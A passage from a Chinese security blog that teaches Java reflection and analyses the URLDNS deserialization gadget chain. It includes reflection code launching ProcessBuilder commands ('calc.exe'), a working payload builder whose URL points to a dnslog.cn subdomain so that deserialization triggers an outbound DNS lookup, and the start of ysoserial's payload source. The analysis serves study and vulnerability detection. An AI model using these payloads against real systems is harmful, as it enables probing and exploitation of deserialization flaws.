alt="4.2"></p><p>这里就涉及到getDeclared系列的反射,与普通的getMethod,getConstructor区别是:</p><ul><li>getMethod系列方法获取的是当前类中所有<code>公共方法</code>,包括从父类继承的方法。</li><li>getDeclaredMethod系列方法获取的是当前类中声明的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了</li></ul><p><strong>getDeclaredMethod 的具体用法和 getMethod 类似, getDeclaredConstructor 的具体用法和getConstructor 类似</strong></p><h3 id="getDeclaredConstructor"><a href="#getDeclaredConstructor" class="headerlink" title="getDeclaredConstructor():"></a>getDeclaredConstructor():</h3><p><img src="4.3.png" alt="4.3"></p><p>getDeclaredConstructor接收构造函数参数列表。</p><p>使用实例:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.javaSec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test1</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> test1;</span><br><span class="line"> <span class="keyword">private</span> String test2;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*注意此处构造函数属性为private*/</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="title">Test1</span><span class="params">(<span class="keyword">int</span> test1,String test2)</span></span>{</span><br><span class="line"> <span class="keyword">this</span>.test1=test1;</span><br><span class="line"> <span class="keyword">this</span>.test2=test2;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">display</span><span class="params">()</span></span>{</span><br><span class="line"> System.out.println(<span class="string">"反射调用:"</span>+test1+<span class="string">" "</span>+test2);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Class clazz = Class.forName(<span class="string">"com.javaSec.Test1"</span>);</span><br><span class="line"> <span class="comment">/*使用getDeclaredMethod,getDeclaredConstructor获取私有构造函数和私有方法*/</span></span><br><span class="line"> clazz.getDeclaredMethod(<span class="string">"display"</span>).invoke(clazz.getDeclaredConstructor(<span class="keyword">int</span>.class,String.class).newInstance(<span class="number">1</span>,<span class="string">"h11ba1"</span>));</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">输出:反射调用:<span class="number">1</span> h11ba1</span><br></pre></td></tr></table></figure><h2 id="0x05-ps-构造函数接收参数为String-command时:"><a href="#0x05-ps-构造函数接收参数为String-command时:" class="headerlink" title="0x05 ps:构造函数接收参数为String... command时:"></a>0x05 ps:构造函数接收参数为<code>String... command</code>时:</h2><p>public ProcessBuilder(String… command)接收参数为<code>String... command</code>。这种情况下getConstructor()怎么传入参数类型列表呢?</p><p>p神给了说明,简单记录一下:</p><p><code>...</code>:这样的语法表示这个函数参数个数是可变的。</p><p>对于可变长参数,java在编译的时候,会编译成一个数组,也就是说一下两种写法在底层是等价的(也就不能重载):</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">hello</span><span class="params">(String[] names)</span> </span>{} </span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">hello</span><span class="params">(String...names)</span> </span>{}</span><br></pre></td></tr></table></figure><p>所以获取ProcessBuilder(String… command)式的构造函数,可以这样写:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Class clazz = Class.forName(<span class="string">"java.lang.ProcessBuilder"</span>); </span><br><span class="line">clazz.getConstructor(String[].class)</span><br></pre></td></tr></table></figure><p>将字符串数组的类String[].class传给getConstructor即可。</p><p>在调用newInstance时,因为这个函数本身接受的是一个可变参数,传给ProcessBuilder的也是一个可变参数,二者叠加为一个二维数组,所以payload如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Class clazz = Class.forName(<span class="string">"java.lang.ProcessBuilder"</span>); ((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(<span class="keyword">new</span> String[][]{{<span class="string">"calc.exe"</span>}})).start();</span><br></pre></td></tr></table></figure><p>完成采用反射的方式:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.javaSec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test3</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Class clazz = Class.forName(<span class="string">"java.lang.ProcessBuilder"</span>);</span><br><span class="line"> Object obj=((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(<span class="keyword">new</span> String[][]{{<span class="string">"touch"</span>,<span class="string">"test4.txt"</span>}}));</span><br><span class="line"> clazz.getMethod(<span class="string">"start"</span>).invoke(obj);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x06-参数:"><a href="#0x06-参数:" class="headerlink" title="0x06 参数:"></a>0x06 参数:</h2><p>p神代码审计星球—java漫谈反射系列</p><p><a href="https://xz.aliyun.com/t/7029">JAVA反序列化 - 反射机制</a></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> java反射 </tag>
</tags>
</entry>
<entry>
<title>反序列化URLDNS</title>
<link href="/2021/07/05/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96URLDNS/"/>
<url>/2021/07/05/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96URLDNS/</url>
<content type="html"><![CDATA[<p>学习java反序列化自然绕不开cc链,ysoserial。ysoserial中最简单的链条就属urldns,用来作为入门学习很不错,下面简单分析,跟一下流程。</p><h2 id="0x01-利用链"><a href="#0x01-利用链" class="headerlink" title="0x01 利用链"></a>0x01 利用链</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">HashMap->readObject()</span><br><span class="line">HashMap->hash()</span><br><span class="line">URL->hashCode()</span><br><span class="line">URLStreamHandler->hashCode()</span><br><span class="line">URLStreamHandler->getHostAddress()</span><br><span class="line">InetAddress->getByName()</span><br></pre></td></tr></table></figure><p>依此跟进分析:</p><h3 id="java-util-HashMap-readObjectr"><a href="#java-util-HashMap-readObjectr" class="headerlink" title="java.util.HashMap#readObjectr():"></a>java.util.HashMap#readObjectr():</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>{</span><br><span class="line"> <span class="comment">// Read in the threshold (ignored), loadfactor, and any hidden stuff</span></span><br><span class="line"> s.defaultReadObject();</span><br><span class="line"> reinitialize();</span><br><span class="line"> <span class="keyword">if</span> (loadFactor <= <span class="number">0</span> || Float.isNaN(loadFactor))</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Illegal load factor: "</span> +</span><br><span class="line"> loadFactor);</span><br><span class="line"> s.readInt(); <span class="comment">// Read and ignore number of buckets</span></span><br><span class="line"> <span class="keyword">int</span> mappings = s.readInt(); <span class="comment">// Read number of mappings (size)</span></span><br><span class="line"> <span class="keyword">if</span> (mappings < <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Illegal mappings count: "</span> +</span><br><span class="line"> mappings);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (mappings > <span class="number">0</span>) { <span class="comment">// (if zero, use defaults)</span></span><br><span class="line"> <span class="comment">// Size the table using given load factor only if within</span></span><br><span class="line"> <span class="comment">// range of 0.25...4.0</span></span><br><span class="line"> <span class="keyword">float</span> lf = Math.min(Math.max(<span class="number">0.25f</span>, loadFactor), <span class="number">4.0f</span>);</span><br><span class="line"> <span class="keyword">float</span> fc = (<span class="keyword">float</span>)mappings / lf + <span class="number">1.0f</span>;</span><br><span class="line"> <span class="keyword">int</span> cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?</span><br><span class="line"> DEFAULT_INITIAL_CAPACITY :</span><br><span class="line"> (fc >= MAXIMUM_CAPACITY) ?</span><br><span class="line"> MAXIMUM_CAPACITY :</span><br><span class="line"> tableSizeFor((<span class="keyword">int</span>)fc));</span><br><span class="line"> <span class="keyword">float</span> ft = (<span class="keyword">float</span>)cap * lf;</span><br><span class="line"> threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?</span><br><span class="line"> (<span class="keyword">int</span>)ft : Integer.MAX_VALUE);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Check Map.Entry[].class since it's the nearest public type to</span></span><br><span class="line"> <span class="comment">// what we're actually creating.</span></span><br><span class="line"> SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);</span><br><span class="line"> <span class="meta">@SuppressWarnings({"rawtypes","unchecked"})</span></span><br><span class="line"> Node<K,V>[] tab = (Node<K,V>[])<span class="keyword">new</span> Node[cap];</span><br><span class="line"> table = tab;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Read the keys and values, and put the mappings in the HashMap</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < mappings; i++) {</span><br><span class="line"> <span class="meta">@SuppressWarnings("unchecked")</span></span><br><span class="line"> K key = (K) s.readObject();</span><br><span class="line"> <span class="meta">@SuppressWarnings("unchecked")</span></span><br><span class="line"> V value = (V) s.readObject();</span><br><span class="line"> putVal(hash(key), key, value, <span class="keyword">false</span>, <span class="keyword">false</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中最后一行putVal()调用了hash(key)。跟进hash()</p><h3 id="java-util-HashMap-hash"><a href="#java-util-HashMap-hash" class="headerlink" title="java.util.HashMap#hash():"></a>java.util.HashMap#hash():</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">int</span> <span class="title">hash</span><span class="params">(Object key)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> h;</span><br><span class="line"> <span class="keyword">return</span> (key == <span class="keyword">null</span>) ? <span class="number">0</span> : (h = key.hashCode()) ^ (h >>> <span class="number">16</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中key.hashCode()获取了传入对象的hashCode()。</p><p>转到</p><h3 id="java-net-URL-hashCode"><a href="#java-net-URL-hashCode" class="headerlink" title="java.net.URL#hashCode():"></a>java.net.URL#hashCode():</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">int</span> <span class="title">hashCode</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (hashCode != -<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">return</span> hashCode;</span><br><span class="line"></span><br><span class="line"> hashCode = handler.hashCode(<span class="keyword">this</span>);</span><br><span class="line"> <span class="keyword">return</span> hashCode;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>url对象的hashCode(),当hashCode参数=-1时,调用handler.hashCode()</p><p>继续跟进</p><h3 id="java-net-URLStreamHandler-hashCode"><a href="#java-net-URLStreamHandler-hashCode" class="headerlink" title="java.net.URLStreamHandler#hashCode():"></a>java.net.URLStreamHandler#hashCode():</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">int</span> <span class="title">hashCode</span><span class="params">(URL u)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> h = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the protocol part.</span></span><br><span class="line"> String protocol = u.getProtocol();</span><br><span class="line"> <span class="keyword">if</span> (protocol != <span class="keyword">null</span>)</span><br><span class="line"> h += protocol.hashCode();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the host part.</span></span><br><span class="line"> InetAddress addr = getHostAddress(u);</span><br><span class="line"> <span class="keyword">if</span> (addr != <span class="keyword">null</span>) {</span><br><span class="line"> h += addr.hashCode();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> String host = u.getHost();</span><br><span class="line"> <span class="keyword">if</span> (host != <span class="keyword">null</span>)</span><br><span class="line"> h += host.toLowerCase().hashCode();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the file part.</span></span><br><span class="line"> String file = u.getFile();</span><br><span class="line"> <span class="keyword">if</span> (file != <span class="keyword">null</span>)</span><br><span class="line"> h += file.hashCode();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the port part.</span></span><br><span class="line"> <span class="keyword">if</span> (u.getPort() == -<span class="number">1</span>)</span><br><span class="line"> h += getDefaultPort();</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> h += u.getPort();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the ref part.</span></span><br><span class="line"> String ref = u.getRef();</span><br><span class="line"> <span class="keyword">if</span> (ref != <span class="keyword">null</span>)</span><br><span class="line"> h += ref.hashCode();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> h;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中重点关注InetAddress addr = getHostAddress(u);</p><p>获取传入url的ip,跟进</p><h3 id="java-net-URLStreamHandler-getHostAddress"><a href="#java-net-URLStreamHandler-getHostAddress" class="headerlink" title="java.net.URLStreamHandler#getHostAddress():"></a>java.net.URLStreamHandler#getHostAddress():</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">synchronized</span> InetAddress <span class="title">getHostAddress</span><span class="params">(URL u)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (u.hostAddress != <span class="keyword">null</span>)</span><br><span class="line"> <span class="keyword">return</span> u.hostAddress;</span><br><span class="line"></span><br><span class="line"> String host = u.getHost();</span><br><span class="line"> <span class="keyword">if</span> (host == <span class="keyword">null</span> || host.equals(<span class="string">""</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> u.hostAddress = InetAddress.getByName(host);</span><br><span class="line"> } <span class="keyword">catch</span> (UnknownHostException ex) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">catch</span> (SecurityException se) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> u.hostAddress;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中 u.hostAddress = InetAddress.getByName(host);</p><p>getByName(host)进行了一次dns查询,达到该利用链的目的,发起dns查询判断序列化点是否存在序列化漏洞。</p><p>该链条第一次跟着这样看完可能当场懵逼,不都还在HashMap类吗?怎么就跳到了URL类,这两个类怎么联系在一起的?</p><p>我们不妨反过来看一下这个链条:</p><h2 id="0x02-反向理解urldns利用链"><a href="#0x02-反向理解urldns利用链" class="headerlink" title="0x02 反向理解urldns利用链"></a>0x02 反向理解urldns利用链</h2><p>经过上面的分析我们确定</p><p>URL类的hashCode()方法会调用–></p><p>URLStreamHandler类的hashCode()调用–></p><p>URLStreamHandler类的getHostAddress()–></p><p>getHostAddress方法中调用了InetAddress.getByName(host);此处造成了dns查询。</p><p>所以我们想要利用该dns查询链条,就需要找到一个地方调用url.hashCode()。</p><p>而java.util.HashMap#hash():中 </p><p><img src="2.1.png" alt="2.1"></p><p>只要key键值为一个url对象即可触发url.hashCode()。</p><p>而java.util.HashMap#readObject()方法中就调用了Hash()方法。</p><p><img src="2.2.png" alt="2.2"></p><p>所以可以大致梳理一遍流程就是:</p><p>HashMap->readObject()<br>HashMap->hash()<br>URL->hashCode()<br>URLStreamHandler->hashCode()<br>URLStreamHandler->getHostAddress()<br>InetAddress->getByName()</p><h2 id="0x03-php序列化和java序列化的思考对比"><a href="#0x03-php序列化和java序列化的思考对比" class="headerlink" title="0x03 php序列化和java序列化的思考对比"></a>0x03 php序列化和java序列化的思考对比</h2><p>这里也发现了java序列化函数和php的不同点。php 通过 unserailize() 触发__ wakeup 、 __sleep 等魔法函数,实现反序列化调用危险函数的目的。</p><p>而java中大量的库会实现 readObject 、 writeObject 方法。开发者通过重写readObject(),writeObject()来达到序列化的目的,所以很多类库中都存在重写的序列化函数。用得多自然也增大了序列化攻击的风险。</p><p>php反序列化漏洞和java反序列化在寻找利用链这点上有异曲同工之妙,但是也存在很大的不同。</p><p>java因为一些基本类库中就存在反序列化利用链条,所以基本只要能够控制反序列化输入流即可造成反序列化漏洞。</p><p>而php的序列化除了框架层面的链条,没有那么多通用的链条可以反序列化利用。这就造成了php没有java那么多的序列化漏洞吧。</p><h2 id="0x04-payload构造"><a href="#0x04-payload构造" class="headerlink" title="0x04 payload构造"></a>0x04 payload构造</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.company;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">URLDNS</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">//0x01.生成payload</span></span><br><span class="line"> <span class="comment">//设置一个hashMap</span></span><br><span class="line"> HashMap<URL, String> hashMap = <span class="keyword">new</span> HashMap<URL, String>();</span><br><span class="line"> <span class="comment">//设置我们可以接受DNS查询的地址</span></span><br><span class="line"> URL url = <span class="keyword">new</span> URL(<span class="string">"http://z2iif2.dnslog.cn"</span>);</span><br><span class="line"> <span class="comment">//将URL的hashCode字段设置为允许修改</span></span><br><span class="line"> Field f = Class.forName(<span class="string">"java.net.URL"</span>).getDeclaredField(<span class="string">"hashCode"</span>);</span><br><span class="line"> f.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> <span class="comment">//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**</span></span><br><span class="line"> <span class="comment">//1. 设置url的hashCode字段为0xdeadbeef(随意的值)</span></span><br><span class="line"> f.set(url, <span class="number">0xdeadbeef</span>);</span><br><span class="line"> <span class="comment">//2. 将url放入hashMap中,右边参数随便写</span></span><br><span class="line"> hashMap.put(url, <span class="string">"rmb122"</span>);</span><br><span class="line"> <span class="comment">//修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)</span></span><br><span class="line"> f.set(url, -<span class="number">1</span>);</span><br><span class="line"> <span class="comment">//0x02.写入文件模拟网络传输</span></span><br><span class="line"> ObjectOutputStream oos = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"out.bin"</span>));</span><br><span class="line"> oos.writeObject(hashMap);</span><br><span class="line"> <span class="comment">//0x03.读取文件,进行反序列化触发payload</span></span><br><span class="line"> ObjectInputStream ois = <span class="keyword">new</span> ObjectInputStream(<span class="keyword">new</span> FileInputStream(<span class="string">"out.bin"</span>));</span><br><span class="line"> ois.readObject();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>大体来分析payload构造流程,</p><p><code>Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");</code></p><p>getDeclaredField获取一个类本身(不包括父类)所有属性, f.setAccessible(true);将字段设置为允许修改。</p><p>其中:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">f.set(url, <span class="number">0xdeadbeef</span>);</span><br><span class="line">hashMap.put(url, <span class="string">"rmb122"</span>);</span><br><span class="line">f.set(url, -<span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>这里操作比较蜜汁,先将url的hashcode设为0xdeadbeef,执行put将url对象添加到散列表。</p><p>然后在设为-1。根据前面的分析,只有url.hashCode=-1时,才能执行dns请求。</p><p>这里这样写的原因是因为put添加数据时也会调用putVal(),此处和readObject()函数是一样的</p><p><img src="4.1.png" alt="4.1"></p><p>readObject()–>putVal:</p><p><img src="4.2.png" alt="4.2"></p><p>会进行dns请求。这样会导致在payload构造时本地主机即会请求一次dnslog。可能对后面利用dnslog检测反序列化漏洞造成干扰。</p><p>所以在put时先将url.hashCode设置为-1以外的值。put添加数据之后再还原回-1。至于为啥是-1。是因为java.net.URL#hashCode()的逻辑判断:</p><p><img src="4.3.png" alt="4.3"></p><h2 id="0x05-ysoserial利用链分析"><a href="#0x05-ysoserial利用链分析" class="headerlink" title="0x05 ysoserial利用链分析"></a>0x05 ysoserial利用链分析</h2><p>上面用到的方法和ysoserial的方法还是有区别的,我们来看看ysoserial是如何生成payload的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> ysoserial.payloads;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.URLConnection;</span><br><span class="line"><span class="keyword">import</span> java.net.URLStreamHandler;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.Authors;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.Dependencies;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.PayloadTest;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.util.PayloadRunner;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.util.Reflections;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * A blog post with more details about this gadget chain is at the url below:</span></span><br><span class="line"><span class="comment"> * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This was inspired by Philippe Arteau <span class="doctag">@h</span>3xstream, who wrote a blog</span></span><br><span class="line"><span class="comment"> * posting 